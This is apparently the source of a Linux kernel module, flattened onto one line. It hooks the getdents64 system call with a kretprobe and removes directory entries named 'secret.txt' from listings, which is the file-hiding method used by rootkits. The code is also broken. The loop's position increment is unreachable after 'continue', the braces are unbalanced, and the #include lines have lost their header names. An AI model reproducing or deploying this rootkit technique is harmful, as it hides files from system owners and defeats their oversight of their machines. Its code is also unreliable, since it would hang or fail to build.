#include #include #include #include #include #include #include #include #define FILE1 "secret.txt" MODULE_LICENSE("GPL"); // Storage for syscall argument struct my_data { struct linux_dirent64 __user *dirent; unsigned long arg2; // size }; static int entry_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { struct my_data *data = (struct my_data *)ri->data; #if defined(__x86_64__) data->dirent = (struct linux_dirent64 __user *)regs->di; data->arg2 = regs->si; #else // Add support for other architectures if needed #endif return 0; } static int ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) { struct my_data *data = (struct my_data *)ri->data; long nread = regs->ax; long bpos = 0, new_nread = nread; char *kbuf; struct linux_dirent64 *d; if (nread <= 0 || !data->dirent) return 0; kbuf = kmalloc(nread, GFP_KERNEL); if (!kbuf) return 0; if (copy_from_user(kbuf, data->dirent, nread)) { kfree(kbuf); return 0; } while (bpos < new_nread) { d = (struct linux_dirent64 *)(kbuf + bpos); if (strncmp(d->d_name, FILE1, strlen(FILE1)) == 0) { memmove(kbuf + bpos, kbuf + bpos + d->d_reclen, new_nread - (bpos + d->d_reclen)); new_nread -= d->d_reclen; continue; bpos += d->d_reclen; } if (copy_to_user(data->dirent, kbuf, new_nread)) { kfree(kbuf); return 0; } regs->ax = new_nread; kfree(kbuf); return 0; } static struct kretprobe my_kretprobe = { .kp.symbol_name = "__x64_sys_getdents64", .entry_handler = entry_handler, .handler = ret_handler, .data_size = sizeof(struct my_data), .maxactive = 20, }; static int __init my_init(void) { int ret = register_kretprobe(&my_kretprobe); if (ret < 0) { pr_err("register_kretprobe failed, returned %d\n", ret); return ret; } pr_info("kretprobe registered\n"); return 0; } static void __exit my_exit(void) { unregister_kretprobe(&my_kretprobe); pr_info("kretprobe unregistered\n"); } module_init(my_init); module_exit(my_exit);